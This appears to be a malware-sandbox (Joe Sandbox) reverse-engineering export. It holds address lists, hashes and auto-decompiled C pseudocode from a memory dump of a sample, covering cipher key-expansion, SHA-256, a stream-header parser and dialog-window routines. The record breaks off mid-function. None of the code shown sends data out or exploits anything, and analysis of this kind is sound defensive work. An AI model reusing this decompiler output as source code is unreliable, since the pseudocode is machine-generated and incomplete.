0x00ce617f
0x00ce61ce
0x00ce61ce
0x00ce61d1
0x00ce613e
0x00ce6140
0x00ce6145
0x00ce6147
0x00ce61ec
0x00ce61f0
0x00ce61f9
0x00ce61fe
0x00ce61ff
0x00ce6203
0x00ce6205
0x00ce620a
0x00ce620d
0x00ce620f
0x00ce6238
0x00ce6238
0x00ce623b
0x00ce623e
0x00ce6245
0x00ce6247
0x00ce624a
0x00ce624c
0x00ce6250
0x00ce6250
0x00ce6253
0x00ce625e
0x00ce625e
0x00ce6260
0x00ce6260
0x00ce6262
0x00ce6268
0x00ce6268
0x00ce626d
0x00ce6270
0x00ce627b
0x00ce627b
0x00ce627d
0x00ce627d
0x00ce6288
0x00ce628c
0x00ce628c
0x00ce628f
0x00ce6295
0x00ce6297
0x00ce629a
0x00ce62aa
0x00ce62af
0x00ce62af
0x00ce62c4
0x00ce62c9
0x00ce62cc
0x00ce62d1
0x00ce62d4
0x00ce62d6
0x00ce62d8
0x00ce62db
0x00ce62de
0x00ce62eb
0x00ce62f0
0x00ce62f0
0x00ce62de
0x00ce62f7
0x00ce62fc
0x00ce62ff
0x00ce6304
0x00ce6307
0x00ce6309
0x00ce6316
0x00ce631b
0x00ce6309
0x00ce631e
0x00ce6321
0x00ce6326
0x00ce6326
0x00ce6272
0x00ce6275
0x00000000
0x00000000
0x00ce6277
0x00000000
0x00ce6277
0x00ce6264
0x00ce6266
0x00000000
0x00000000
0x00000000
0x00ce6266
0x00ce6255
0x00ce6258
0x00000000
0x00000000
0x00ce625a
0x00000000
0x00ce625a
0x00ce624e
0x00ce624e
0x00ce624e
0x00000000
0x00ce624e
0x00ce6240
0x00ce6243
0x00000000
0x00000000
0x00000000
0x00ce6243
0x00ce6213
0x00ce6216
0x00ce6218
0x00ce6220
0x00ce6222
0x00ce622c
0x00ce622e
0x00ce6230
0x00000000
0x00000000
0x00ce6232
0x00ce6236
0x00ce6236
0x00000000
0x00ce6236
0x00ce6224
0x00000000
0x00ce6224
0x00ce621a
0x00000000
0x00ce621a
0x00ce61f2
0x00000000
0x00ce61f2
0x00ce614d
0x00ce614d
0x00000000
0x00ce614d
0x00ce61d8
0x00ce61d8
0x00ce61db
0x00ce61ad
0x00ce61ad
0x00ce61ae
0x00ce61b0
0x00ce61b2
0x00000000
0x00ce61b2
0x00ce61dd
0x00ce61e0
0x00000000
0x00000000
0x00ce61e6
0x00ce6155
0x00ce6155
0x00000000
0x00ce6155
0x00ce6181
0x00ce61c4
0x00000000
0x00ce61c4
0x00ce6183
0x00ce6186
0x00ce61b9
0x00ce61bb
0x00000000
0x00ce61bb
0x00ce6188
0x00ce618b
0x00ce61a9
0x00ce61a9
0x00ce61a9
0x00ce61a9
0x00000000
0x00ce61a9
0x00ce618d
0x00ce6190
0x00ce61a2
0x00000000
0x00ce61a2
0x00ce6192
0x00ce6195
0x00000000
0x00000000
0x00ce6199
0x00000000
0x00ce6199
0x00ce6110
0x00000000
0x00000000
0x00ce6116
0x00ce6119
0x00ce6159
0x00ce6159
0x00ce615c
0x00ce6175
0x00000000
0x00ce6175
0x00ce615e
0x00ce615e
0x00ce6161
0x00000000
0x00000000
0x00ce6164
0x00ce6167
0x00000000
0x00000000
0x00ce6169
0x00ce616c
0x00000000
0x00ce616c
0x00ce611b
0x00ce6154
0x00000000
0x00ce6154
0x00ce6120
0x00000000
0x00000000
0x00ce6129
0x00000000
0x00000000
0x00ce612e
0x00000000
0x00000000
0x00ce6133
0x00000000
0x00000000
0x00ce613c
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5deea3b29f66a918188f7a75532971316276c2599c24e1ebb0fa75850081f94e
Instruction ID: 2fdf28e0f2e1514efceb08dea091be0ea571614ccfb39f14d2d515efe541dda0
Opcode Fuzzy Hash: 5deea3b29f66a918188f7a75532971316276c2599c24e1ebb0fa75850081f94e
Instruction Fuzzy Hash: 8151CD716307C457DF3A497B85567BE27999B323C0F18091DEAA3CB293C605EF059352

Uniqueness

Uniqueness Score: -1.00%

Function 00CD02D7 Relevance: .2, Instructions: 161
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E00CD02D7(intOrPtr __ecx, char _a4) {
				char _v12;
				signed int _v13;
				signed int _v14;
				signed int _v15;
				signed int _v16;
				signed char _v17;
				signed char _v18;
				signed char _v19;
				signed char _v20;
				char _v28;
				signed int _v29;
				signed int _v30;
				signed int _v31;
				signed int _v32;
				signed int* _v36;
				signed int _v40;
				char _v44;
				intOrPtr _v48;
				signed int _t94;
				signed int _t113;
				signed int _t116;
				signed int _t117;
				signed char _t120;
				signed int* _t121;
				signed int* _t122;
				signed int _t123;
				signed int* _t124;
				signed int _t125;
				signed int _t126;
				signed int _t127;
				signed int* _t128;
				void* _t130;
				signed int _t131;
				void* _t132;
				signed int _t134;
				signed int* _t139;
				signed int* _t142;
				void* _t145;
				void* _t167;

				_t134 = _a4 - 6;
				_v48 = __ecx;
				_v40 = _t134;
				_t94 = E00CE2C10( &_v32, _a4, 0x20);
				_t145 =  &_v48 + 0xc;
				_t117 = 0;
				_t126 = 0;
				_t127 = 0;
				if(_t134 <= 0) {
					L10:
					if(_t117 <= _a4) {
						_t128 = 0xd00198;
						do {
							_t120 = _v32 ^  *(( *(_t145 + 0x1d + _t134 * 4) & 0x000000ff) + 0xd00098);
							_v32 = _t120;
							_v31 = _v31 ^  *(( *(_t145 + 0x1e + _t134 * 4) & 0x000000ff) + 0xd00098);
							_v30 = _v30 ^  *(( *(_t145 + 0x1f + _t134 * 4) & 0x000000ff) + 0xd00098);
							_v29 = _v29 ^  *(( *(_t145 + 0x1c + _t134 * 4) & 0x000000ff) + 0xd00098);
							_t94 =  *_t128 ^ _t120;
							_v32 = _t94;
							_v36 =  &(_t128[0]);
							if(_t134 == 8) {
								_t121 =  &_v28;
								_v44 = 3;
								do {
									_t130 = 4;
									do {
										 *_t121 =  *_t121 ^  *(_t121 - 4);
										_t121 =  &(_t121[0]);
										_t130 = _t130 - 1;
									} while (_t130 != 0);
									_t55 =  &_v44;
									 *_t55 = _v44 - 1;
								} while ( *_t55 != 0);
								_t122 =  &_v12;
								_v44 = 3;
								_v16 = _v16 ^  *((_v20 & 0x000000ff) + 0xd00098);
								_v15 = _v15 ^  *((_v19 & 0x000000ff) + 0xd00098);
								_v14 = _v14 ^  *((_v18 & 0x000000ff) + 0xd00098);
								_v13 = _v13 ^  *((_v17 & 0x000000ff) + 0xd00098);
								do {
									_t131 = 4;
									do {
										_t94 =  *((intOrPtr*)(_t122 - 4));
										 *_t122 =  *_t122 ^ _t94;
										_t122 =  &(_t122[0]);
										_t131 = _t131 - 1;
									} while (_t131 != 0);
									_t76 =  &_v44;
									 *_t76 = _v44 - 1;
								} while ( *_t76 != 0);
								goto L28;
							} else {
								if(_t134 > 1) {
									_t46 = _t134 - 1; // 0x3
									_t124 =  &_v28;
									_v44 = _t46;
									do {
										_t132 = 4;
										do {
											_t94 =  *((intOrPtr*)(_t124 - 4));
											 *_t124 =  *_t124 ^ _t94;
											_t124 =  &(_t124[0]);
											_t132 = _t132 - 1;
										} while (_t132 != 0);
										_t50 =  &_v44;
										 *_t50 = _v44 - 1;
									} while ( *_t50 != 0);
								}
								_t131 = 0;
								if(_t134 <= 0) {
									L37:
									_t167 = _t117 - _a4;
								} else {
									L28:
									while(_t117 <= _a4) {
										if(_t131 < _t134) {
											_t139 =  &(( &_v32)[_t131]);
											while(_t126 < 4) {
												_t123 = _t126 + _t117 * 4;
												_t113 =  *_t139;
												_t131 = _t131 + 1;
												_t139 =  &_a4;
												_t126 = _t126 + 1;
												 *(_v48 + 0x18 + _t123 * 4) = _t113;
												_t134 = _v40;
												if(_t131 < _t134) {
													continue;
												}
												break;
											}
										}
										if(_t126 == 4) {
											_t117 = _t117 + 1;
										}
										_t90 = _t126 - 4; // -4
										_t94 =  ~_t90;
										asm("sbb eax, eax");
										_t126 = _t126 & _t94;
										if(_t131 < _t134) {
											continue;
										} else {
											goto L37;
										}
										goto L38;
									}
								}
							}
							L38:
							_t128 = _v36;
						} while (_t167 <= 0);
					}
				} else {
					while(_t117 <= _a4) {
						if(_t127 < _t134) {
							_t142 =  &(( &_v32)[_t127]);
							while(_t126 < 4) {
								_t125 = _t126 + _t117 * 4;
								_t116 =  *_t142;
								_t127 = _t127 + 1;
								_t142 =  &_a4;
								_t126 = _t126 + 1;
								 *(_v48 + 0x18 + _t125 * 4) = _t116;
								_t134 = _v40;
								if(_t127 < _t134) {
									continue;
								}
								break;
							}
						}
						if(_t126 == 4) {
							_t117 = _t117 + 1;
						}
						_t18 = _t126 - 4; // -4
						_t94 =  ~_t18;
						asm("sbb eax, eax");
						_t126 = _t126 & _t94;
						if(_t127 < _t134) {
							continue;
						} else {
							goto L10;
						}
						goto L39;
					}
				}
				L39:
				return _t94;
			}

0x00cd02ed
0x00cd02f0
0x00cd02f5
0x00cd02f9
0x00cd02fe
0x00cd0301
0x00cd0303
0x00cd0305
0x00cd0309
0x00cd0357
0x00cd035a
0x00cd0360
0x00cd0365
0x00cd036e
0x00cd0374
0x00cd0383
0x00cd0392
0x00cd03a1
0x00cd03a7
0x00cd03aa
0x00cd03ae
0x00cd03b5
0x00cd03e8
0x00cd03ec
0x00cd03f4
0x00cd03f6
0x00cd03f7
0x00cd03fa
0x00cd03fc
0x00cd03fd
0x00cd03fd
0x00cd0402
0x00cd0402
0x00cd0402
0x00cd040e
0x00cd0412
0x00cd0420
0x00cd042f
0x00cd043e
0x00cd044d
0x00cd0451
0x00cd0453
0x00cd0454
0x00cd0454
0x00cd0457
0x00cd0459
0x00cd045a
0x00cd045a
0x00cd045f
0x00cd045f
0x00cd045f
0x00000000
0x00cd03b7
0x00cd03ba
0x00cd03bc
0x00cd03bf
0x00cd03c3
0x00cd03c7
0x00cd03c9
0x00cd03ca
0x00cd03ca
0x00cd03cd
0x00cd03cf
0x00cd03d0
0x00cd03d0
0x00cd03d5
0x00cd03d5
0x00cd03d5
0x00cd03c7
0x00cd03dc
0x00cd03e0
0x00cd04ae
0x00cd04ae
0x00cd03e6
0x00000000
0x00cd0466
0x00cd046d
0x00cd0473
0x00cd0477
0x00cd0480
0x00cd0483
0x00cd0486
0x00cd0487
0x00cd048a
0x00cd048b
0x00cd048f
0x00cd0495
0x00000000
0x00000000
0x00000000
0x00cd0495
0x00cd0497
0x00cd049e
0x00cd04a0
0x00cd04a0
0x00cd04a1
0x00cd04a4
0x00cd04a6
0x00cd04a8
0x00cd04ac
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00cd04ac
0x00cd0466
0x00cd03e0
0x00cd04b1
0x00cd04b1
0x00cd04b1
0x00cd0365
0x00000000
0x00cd030b
0x00cd0316
0x00cd031c
0x00cd0320
0x00cd0329
0x00cd032c
0x00cd032f
0x00cd0330
0x00cd0333
0x00cd0334
0x00cd0338
0x00cd033e
0x00000000
0x00000000
0x00000000
0x00cd033e
0x00cd0340
0x00cd0347
0x00cd0349
0x00cd0349
0x00cd034a
0x00cd034d
0x00cd034f
0x00cd0351
0x00cd0355
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00cd0355
0x00cd030b
0x00cd04c2
0x00cd04c2

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53e0dcaf6a1d2db61af8d89bb1e0d663dba201467f15e24817e9766ca21d2aa4
Instruction ID: 09a322242bb70e5c1ee65df21d885f7dc3b5d543cc54b765a201057fdbb73be7
Opcode Fuzzy Hash: 53e0dcaf6a1d2db61af8d89bb1e0d663dba201467f15e24817e9766ca21d2aa4
Instruction Fuzzy Hash: 8151D2315093D54FC702CF2881806AEBFE0AE9A714F59499EE6D95B352C231DB4ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 00CD13D6 Relevance: .1, Instructions: 141
COMMONCrypto

Download Yara Rule

C-Code - Quality: 83%

			E00CD13D6() {
				signed int _t81;
				signed int _t96;
				signed int _t98;
				signed int* _t99;
				unsigned int* _t100;
				void* _t101;
				unsigned int _t103;
				signed int _t108;
				unsigned int _t122;
				signed int _t124;
				signed int _t125;
				signed int* _t130;
				signed int _t131;
				signed int* _t132;
				signed int _t133;
				signed int _t140;
				void* _t146;
				void* _t147;
				void* _t148;
				signed int _t149;
				void* _t151;

				_t130 =  *(_t151 + 0x148);
				_t133 = 0;
				_t99 =  &(_t130[0xa]);
				do {
					 *((intOrPtr*)(_t151 + 0x48 + _t133 * 4)) = E00CE7335( *_t99);
					_t99 =  &(_t99[1]);
					_t133 = _t133 + 1;
				} while (_t133 < 0x10);
				_t100 = _t151 + 0x80;
				_t148 = 0x30;
				do {
					_t103 =  *(_t100 - 0x34);
					_t122 =  *_t100;
					asm("rol esi, 0xe");
					_t100 =  &(_t100[1]);
					asm("ror eax, 0x7");
					asm("rol eax, 0xd");
					asm("rol ecx, 0xf");
					_t100[1] = (_t103 ^ _t103 ^ _t103 >> 0x00000003) + (_t122 ^ _t122 ^ _t122 >> 0x0000000a) +  *((intOrPtr*)(_t100 - 0x3c)) +  *((intOrPtr*)(_t100 - 0x18));
					_t148 = _t148 - 1;
				} while (_t148 != 0);
				_t81 =  *_t130;
				_t101 = 0;
				_t108 = _t130[1];
				_t124 = _t130[2];
				_t140 = _t130[5];
				_t149 = _t130[4];
				 *(_t151 + 0x20) = _t81;
				 *(_t151 + 0x2c) = _t81;
				 *(_t151 + 0x28) = _t130[3];
				 *(_t151 + 0x10) = _t130[6];
				_t131 =  *(_t151 + 0x20);
				 *(_t151 + 0x14) = _t108;
				 *(_t151 + 0x18) = _t124;
				 *(_t151 + 0x1c) = _t140;
				 *(_t151 + 0x24) = _t130[7];
				do {
					 *(_t151 + 0x40) =  *(_t151 + 0x10);
					asm("rol eax, 0x7");
					 *(_t151 + 0x3c) = _t140;
					asm("ror esi, 0xb");
					 *(_t151 + 0x30) = _t108;
					 *(_t151 + 0x34) = _t124;
					_t125 =  *(_t151 + 0x1c);
					asm("ror eax, 0x6");
					 *(_t151 + 0x1c) = _t149;
					 *(_t151 + 0x38) = _t149;
					_t40 = _t101 + 0xcf4bd0; // 0x428a2f98
					_t146 = (_t149 ^ _t149 ^ _t149) + ( !_t149 &  *(_t151 + 0x10) ^ _t125 & _t149) +  *_t40 +  *((intOrPtr*)(_t151 + _t101 + 0x44));
					_t101 = _t101 + 4;
					_t147 = _t146 +  *(_t151 + 0x24);
					 *(_t151 + 0x24) =  *(_t151 + 0x10);
					_t149 =  *(_t151 + 0x28) + _t147;
					 *(_t151 + 0x10) = _t125;
					asm("rol eax, 0xa");
					asm("ror edx, 0xd");
					 *(_t151 + 0x20) = _t131;
					asm("ror eax, 0x2");
					 *(_t151 + 0x28) =  *(_t151 + 0x18);
					_t96 =  *(_t151 + 0x14);
					_t108 = _t131;
					 *(_t151 + 0x18) = _t96;
					 *(_t151 + 0x14) = _t108;
					_t131 = (_t131 ^ _t131 ^ _t131) + (( *(_t151 + 0x18) ^  *(_t151 + 0x14)) & _t131 ^  *(_t151 + 0x18) &  *(_t151 + 0x14)) + _t147;
					_t140 =  *(_t151 + 0x1c);
					_t124 = _t96;
				} while (_t101 < 0x100);
				_t98 =  *(_t151 + 0x2c) + _t131;
				_t132 =  *(_t151 + 0x148);
				_t132[1] = _t132[1] + _t108;
				_t132[2] = _t132[2] +  *(_t151 + 0x30);
				_t132[3] = _t132[3] +  *(_t151 + 0x34);
				_t132[5] = _t132[5] +  *(_t151 + 0x38);
				_t132[6] = _t132[6] +  *(_t151 + 0x3c);
				_t132[4] = _t132[4] + _t149;
				_t132[7] = _t132[7] +  *(_t151 + 0x40);
				 *_t132 = _t98;
				return _t98;
			}

0x00cd13e0
0x00cd13e7
0x00cd13e9
0x00cd13ec
0x00cd13f3
0x00cd13f7
0x00cd13fa
0x00cd13fc
0x00cd1403
0x00cd140a
0x00cd140b
0x00cd140b
0x00cd1410
0x00cd1414
0x00cd1417
0x00cd141a
0x00cd1428
0x00cd142b
0x00cd143d
0x00cd1440
0x00cd1440
0x00cd1445
0x00cd1447
0x00cd1449
0x00cd144c
0x00cd144f
0x00cd1452
0x00cd1455
0x00cd1459
0x00cd1460
0x00cd1467
0x00cd146e
0x00cd1472
0x00cd1476
0x00cd147a
0x00cd147e
0x00cd1482
0x00cd1486
0x00cd148c
0x00cd148f
0x00cd1495
0x00cd149a
0x00cd149e
0x00cd14a4
0x00cd14aa
0x00cd14b7
0x00cd14bd
0x00cd14cd
0x00cd14d3
0x00cd14d7
0x00cd14da
0x00cd14de
0x00cd14e2
0x00cd14e4
0x00cd14ea
0x00cd14ef
0x00cd14f4
0x00cd14fa
0x00cd1517
0x00cd151b
0x00cd151f
0x00cd1521
0x00cd1525
0x00cd1529
0x00cd152c
0x00cd1530
0x00cd1532
0x00cd1542
0x00cd1544
0x00cd154b
0x00cd1552
0x00cd1559
0x00cd1560
0x00cd1567
0x00cd156a
0x00cd1571
0x00cd1574
0x00cd1580

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11c5b61f7595e60e260b96bbb06abd3a4a07b25ff4d6d5aa53ba9692fc3edd72
Instruction ID: c9024a7b9b1da6b49b42ee6f108df7d3eea12d405629326e37b9c5c185e0846d
Opcode Fuzzy Hash: 11c5b61f7595e60e260b96bbb06abd3a4a07b25ff4d6d5aa53ba9692fc3edd72
Instruction Fuzzy Hash: B151E0B1A087119FC748CF19D48055AF7E1FF88314F058A2EE899E3741DB34EA59CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00CD4FE1 Relevance: .1, Instructions: 112
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00CD4FE1(unsigned int __ecx) {
				intOrPtr _t39;
				signed int _t47;
				intOrPtr _t48;
				signed int _t55;
				void* _t60;
				signed int _t61;
				signed int _t66;
				intOrPtr _t78;
				signed int _t82;
				unsigned char _t84;
				signed int* _t86;
				intOrPtr _t87;
				unsigned int _t88;
				unsigned int _t89;
				signed int _t90;
				void* _t91;

				_t88 =  *(_t91 + 0x20);
				_t61 = 0;
				_t86 =  *(_t91 + 0x28);
				_t89 = __ecx;
				 *(_t91 + 0x18) = __ecx;
				_t86[3] = 0;
				if( *((intOrPtr*)(_t88 + 8)) != 0 ||  *_t88 <=  *((intOrPtr*)(__ecx + 0x78)) - 7) {
					L3:
					E00CCBC5A(_t88,  ~( *(_t88 + 4)) & 0x00000007);
					 *(_t91 + 0x18) = E00CCBC71(_t88, _t94) >> 8;
					E00CCBC5A(_t88, 8);
					_t66 =  *(_t91 + 0x14) & 0x000000ff;
					_t39 = (_t66 >> 0x00000003 & 0x00000003) + 1;
					 *((intOrPtr*)(_t91 + 0x10)) = _t39;
					_t95 = _t39 - 4;
					if(_t39 == 4) {
						goto L12;
					}
					_t86[3] = _t39 + 2;
					_t86[1] = (_t66 & 0x00000007) + 1;
					 *(_t91 + 0x20) = E00CCBC71(_t88, _t95) >> 8;
					E00CCBC5A(_t88, 8);
					_t96 =  *((intOrPtr*)(_t91 + 0x10)) - _t61;
					if( *((intOrPtr*)(_t91 + 0x10)) <= _t61) {
						L8:
						_t84 =  *(_t91 + 0x14);
						 *_t86 = _t61;
						if((_t61 >> 0x00000010 ^ _t61 >> 0x00000008 ^ _t61 ^ _t84 ^ 0x0000005a) !=  *((intOrPtr*)(_t91 + 0x1c))) {
							goto L12;
						}
						_t47 =  *_t88;
						_t86[2] = _t47;
						_t23 = _t47 - 1; // -1
						_t48 =  *((intOrPtr*)(_t89 + 0x7c));
						_t78 = _t23 + _t61;
						if(_t48 >= _t78) {
							_t48 = _t78;
						}
						 *((intOrPtr*)(_t89 + 0x7c)) = _t48;
						_t86[4] = _t84 >> 0x00000006 & 0x00000001;
						_t86[4] = _t84 >> 7;
						return 1;
					}
					_t87 =  *((intOrPtr*)(_t91 + 0x10));
					_t90 = _t61;
					do {
						_t55 = E00CCBC71(_t88, _t96) >> 8 << _t90;
						_t90 = _t90 + 8;
						_t61 = _t61 + _t55;
						_t82 =  *(_t88 + 4) + 8;
						 *_t88 =  *_t88 + (_t82 >> 3);
						 *(_t88 + 4) = _t82 & 0x00000007;
						_t87 = _t87 - 1;
					} while (_t87 != 0);
					_t86 =  *(_t91 + 0x28);
					_t89 =  *(_t91 + 0x18);
					goto L8;
				} else {
					_t60 = E00CD5FF4(__ecx);
					_t94 = _t60;
					if(_t60 == 0) {
						L12:
						__eflags = 0;
						return 0;
					}
					goto L3;
				}
			}

0x00cd4fe7
0x00cd4feb
0x00cd4fee
0x00cd4ff2
0x00cd4ff4
0x00cd4ff8
0x00cd4ffe
0x00cd5017
0x00cd5022
0x00cd5035
0x00cd5039
0x00cd5042
0x00cd504d
0x00cd504e
0x00cd5052
0x00cd5055
0x00000000
0x00000000
0x00cd5062
0x00cd5065
0x00cd5076
0x00cd507a
0x00cd507f
0x00cd5083
0x00cd50be
0x00cd50be
0x00cd50ce
0x00cd50db
0x00000000
0x00000000
0x00cd50dd
0x00cd50df
0x00cd50e2
0x00cd50e5
0x00cd50e8
0x00cd50ec
0x00cd50ee
0x00cd50ee
0x00cd50f0
0x00cd50fd
0x00cd5102
0x00000000
0x00cd5102
0x00cd5085
0x00cd5089
0x00cd508b
0x00cd5097
0x00cd5099
0x00cd509f
0x00cd50a1
0x00cd50ac
0x00cd50ae
0x00cd50b1
0x00cd50b1
0x00cd50b6
0x00cd50ba
0x00000000
0x00cd500a
0x00cd500a
0x00cd500f
0x00cd5011
0x00cd5107
0x00cd5107
0x00000000
0x00cd5107
0x00000000
0x00cd5011

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74cd97078976d413443546a5e6f1c41999260f7e4caf4087a6071dd61f1d0527
Instruction ID: ee44cfdafdecd516927b9f069210ce0bbcedaf284b1ff68368e9d7cd82e92ca7
Opcode Fuzzy Hash: 74cd97078976d413443546a5e6f1c41999260f7e4caf4087a6071dd61f1d0527
Instruction Fuzzy Hash: 743104B1604B068FCB14DF28C85166EBBD0FB95304F104A2EE5A6D7742CB35E909DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00CCF5E8 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 234
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00CCF5E8(struct HWND__* __ecx, void* __edx, void* __eflags, intOrPtr _a8) {
				char _v0;
				struct HWND__* _v8;
				short _v2048;
				char _v2208;
				char _v2288;
				signed int _v2292;
				char _v2300;
				intOrPtr _v2304;
				struct tagRECT _v2320;
				intOrPtr _v2324;
				intOrPtr _v2336;
				struct tagRECT _v2352;
				struct tagRECT _v2368;
				signed int _v2376;
				char _v2377;
				intOrPtr _v2384;
				intOrPtr _v2393;
				void* __ebx;
				void* __esi;
				signed int _t95;
				struct HWND__* _t106;
				signed int _t119;
				signed int _t134;
				signed int _t145;
				void* _t150;
				void* _t155;
				char _t156;
				void* _t157;
				signed int _t158;
				intOrPtr _t160;
				void* _t163;
				void* _t169;
				long _t170;
				signed int _t174;
				void* _t178;
				signed int _t179;
				signed int _t186;
				struct HWND__* _t187;
				struct HWND__* _t188;
				void* _t189;
				void* _t192;
				signed int _t193;
				long _t194;
				void* _t201;
				int* _t202;
				struct HWND__* _t203;
				void* _t205;
				void* _t206;
				void* _t208;
				void* _t210;
				void* _t214;
				signed int _t221;

				_t178 = __edx;
				_t203 = __ecx;
				_v2368.bottom = __ecx;
				E00CC4A00( &_v2208, 0x50, L"$%s:", _a8);
				_t208 =  &_v2368 + 0x10;
				E00CD30C5( &_v2208,  &_v2288, 0x50);
				_t95 = E00CE71A0( &_v2300);
				_t187 = _v8;
				_t155 = 0;
				_v2376 = _t95;
				_t210 =  *0xd00720 - _t155; // 0x64
				if(_t210 <= 0) {
					L8:
					_t156 = E00CCEB1C(_t155, _t203, _t178, _t189, _t214, _a8,  &(_v2368.right),  &(_v2368.top));
					_v2377 = _t156;
					GetWindowRect(_t187,  &_v2352);
					GetClientRect(_t187,  &(_v2320.top));
					_t169 = _v2352.right - _v2352.left + 1;
					_t179 = _v2320.bottom;
					_t192 = _v2352.bottom - _v2352.top + 1;
					_v2368.right = 0x64;
					_t205 = _t192 - _v2304;
					_v2368.bottom = _t169 - _t179;
					if(_v0 == 0) {
						if(_t156 != 0) {
							_t158 = 0x64;
							asm("cdq");
							_t134 = _v2292 * _v2368.top;
							_t160 = _t179 * _v2368.right / _t158 + _v2352.right;
							_v2324 = _t160;
							asm("cdq");
							_t186 = _t134 % _v2352.top;
							_v2352.left = _t134 / _v2352.top + _t205;
							asm("cdq");
							asm("cdq");
							_t201 = (_t192 - _v2352.left - _t186 >> 1) + _v2336;
							_t163 = (_t169 - _t160 - _t186 >> 1) + _v2352.bottom;
							if(_t163 < 0) {
								_t163 = 0;
							}
							if(_t201 < 0) {
								_t201 = 0;
							}
							_t145 =  !(GetWindowLongW(_t187, 0xfffffff0) >> 0xa) & 0x00000002 | 0x00000204;
							_t221 = _t145;
							 *0xd25150(_t187, 0, _t163, _t201, _v2324, _v2352.left, _t145);
							GetWindowRect(_t187,  &_v2368);
							_t156 = _v2393;
						}
						if(E00CCEB9C(_t156, _v2368.bottom, _t221, _a8, L"CAPTION",  &_v2048, 0x400) != 0) {
							SetWindowTextW(_t187,  &_v2048);
						}
					}
					_t206 = _t205 - GetSystemMetrics(8);
					_t106 = GetWindow(_t187, 5);
					_t188 = _t106;
					_v2368.bottom = _t188;
					if(_t156 == 0) {
						L23:
						return _t106;
					} else {
						_t157 = 0;
						while(_t188 != 0) {
							__eflags = _t157 - 0x200;
							if(_t157 >= 0x200) {
								goto L23;
							}
							GetWindowRect(_t188,  &_v2320);
							_t170 = _v2320.top.left;
							_t193 = 0x64;
							asm("cdq");
							_t194 = _v2320.left;
							asm("cdq");
							_t119 = (_t170 - _t206 - _v2336) * _v2368.top;
							asm("cdq");
							_t174 = 0x64;
							asm("cdq");
							asm("cdq");
							 *0xd25150(_t188, 0, (_t194 - (_v2352.right - _t119 % _t174 >> 1) - _v2352.bottom) * _v2368.right / _t174, _t119 / _t174, (_v2320.right - _t194 + 1) * _v2368.right / _v2352.top, (_v2320.bottom - _t170 + 1) * _v2368.top / _t193, 0x204);
							_t106 = GetWindow(_t188, 2);
							_t188 = _t106;
							__eflags = _t188 - _v2384;
							if(_t188 == _v2384) {
								goto L23;
							}
							_t157 = _t157 + 1;
							__eflags = _t157;
						}
						goto L23;
					}
				} else {
